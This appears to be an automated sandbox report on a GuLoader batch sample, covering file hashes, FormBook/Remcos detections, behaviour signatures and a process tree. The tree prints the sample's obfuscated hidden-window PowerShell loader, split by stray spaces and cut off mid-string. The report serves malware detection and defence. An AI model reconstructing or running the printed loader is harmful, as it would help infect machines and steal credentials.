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Windows
Analysis Report
MATALJ Kft Rendel#U00e9s H634667478874873845985309802Thayne.bat
Overview
General Information
| Sample name: | MATALJ Kft Rendel#U00e9s H634667478874873845985309802Thayne.batrenamed because original name is a hash value |
| Original sample name: | MATALJ Kft Rendels H634667478874873845985309802Thayne.bat |
| Analysis ID: | 1449968 |
| MD5: | cf28f43ef2773834bf4a17ee4e73f974 |
| SHA1: | b6c535298286f990f8fa81a380c8a13b62aadf5d |
| SHA256: | 0dc63c418ee423f0f461062eafc49a9804db70331ccf9188544725804e062127 |
| Tags: | batGuLoaderHUN |
| Infos: |   |
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Detection
FormBook, GuLoader, Remcos
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected FormBook
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
Creates multiple autostart registry keys
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to detect virtual machines (SLDT)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sleep loop found (likely to delay execution)
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 1908 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\MATAL J Kft Rend el#U00e9s H634667478 8748738459 85309802Th ayne.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 1936 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 2084 cmdline: powershell .exe -wind owstyle hi dden "$Ant igyrous='S ';$Antigyr ous+='ubs' ;$Antigyro us+='tri'; $Disseizur e = 1;$Ant igyrous+=' ng';Functi on Sortkri dtstegning ens($Udlos sende){$Ma kah=$Udlos sende.Leng th-$Dissei zure;For($ Vaesentlig heden206=5 ;$Vaesentl igheden206 -lt $Maka h;$Vaesent ligheden20 6+=6){$Vrd iomraades+ =$Udlossen de.$Antigy rous.Invok e( $Vaesen tligheden2 06, $Disse izure);}$V rdiomraade s;}functio n Caprelli dae($Konde nseret){ & ($Fli gene) ($Ko ndenseret) ;}$festdra gtens=Sort kridtstegn ingens ' S .ovMFo,klo BeathzBela vi overlFa ciolVictra Mictu/Kphj e5Krlha.Os teo0 Prin Sove( Tilt WLnfreiNa. osnTeg sdW atero,etat wVaskosReg is TrouNsw igsTinges Retsa1Inte l0 Aspe. A nal0 C oc; P.aya diss hWDoliciLa gbnF,ktu6 Trska4 g.n z;an ui Om kamxH tto6 Forha4 Fin e;Hvidg Ri ng rFlaskv Bakka: Ude n1Pyroc2 U nmo1Anili. Stil.0 T,k s) dy.t Ae ndrG Gulde WavescIc,e rkAdonio E l.f/ Scri2 Kaily0Sign a1Beb,u0Ap nea0Ne,tu1 Headw0Tre s1Freml Tr eadFRecoii JargorApno eeSnorkfWh iffoLeysex Bioe/Aspa r1Fetic2Ps eu.1Udstt. Tope0Snic , ';$Lrred skjolernes =Sortkridt stegningen s ' ScleUS pn.msReped eEne gr Me ll-UndreAF luidgFors. eAndennsup ert Brav ' ;$hypermne sia=Sortkr idtstegnin gens 'Semi ahSlangtLo osstLage.p Pnhe:Xwfi n/Dummk/Po lym1 C,pt9 Thges4Elec t.inval5Re pet9 Eksa. Mugg3ligr o0 Thom.Be vge6Gulli/ M.nkeU Sag rnTr lacIn k,tobeanfm AarsaiSand scLaiba.La ndgmBombed FingepForl y ';$Aktiv eret=Sortk ridtstegni ngens 'Fre qe>fredn ' ;$Fligene= Sortkridts tegningens ' Molyi F orheTopsax pers ';$O pvarmnings mssige='Mo ngolisms'; $Haandvrks bagere = S ortkridtst egningens 'MediceFib e c Escah SmleoDomin Paste% Un p.a DemepC helipDecar dSubfla Un actSu.liaU ndon%,rmme \TekstI Se lvnIndigd droniUdsvi sTyknipBra knoOnestsR enteeSkibs dDeempnKog .ieGennesD yingsTh mu . A,svAemp ris Rings Emu, Peng& Skyfo&Pusl i Steereaf lvncTh.nah SkeleoSide o Alb.mtAf tvt ';Capr ellidae (S ortkridtst egningens 'sekst$Lag ergDecimlS pectoAsem bEftera,us iolFlam :W orthRDoms, uKnle ia s olnPleathC iviloSnedk bKaroleTyn dsnGrasssC onch= arve (BloodcRai demSydyedS trkk Pik p /fjortcPer co Appre$D ial,HKuard aA.olia Lv ,an.hyrod, igtov Josh rObtaik Fj ersfi.msbS t rtaConsu gBe eveGry derUngdoem ixyp)Umb.l ');Caprel lidae (Sor tkridtsteg ningens 'O pmun$Spild gStilllSci enoSpilob nkomaVent lHksun:Non diGResoryH ellirGgler o HonosOu, pucsvkk oC ommep Bere i smudc ,i ni=Pyr o$S y,tahUnpra yPluc p,ur aceSynedrB erigmAe op neryt eAng olsBothiiS kefua Domf .E.gotsBed e.pSjofelS .ndiijo.rn thydro(Pro kl$ AfleAA mts.kBloms tErodeiAto nav toreNo nscr atsae For ktCon e)Oscil ') ;$hypermne sia=$Gyros copic[0];$ Charcia= ( Sortkridts tegningens ' Most$Mi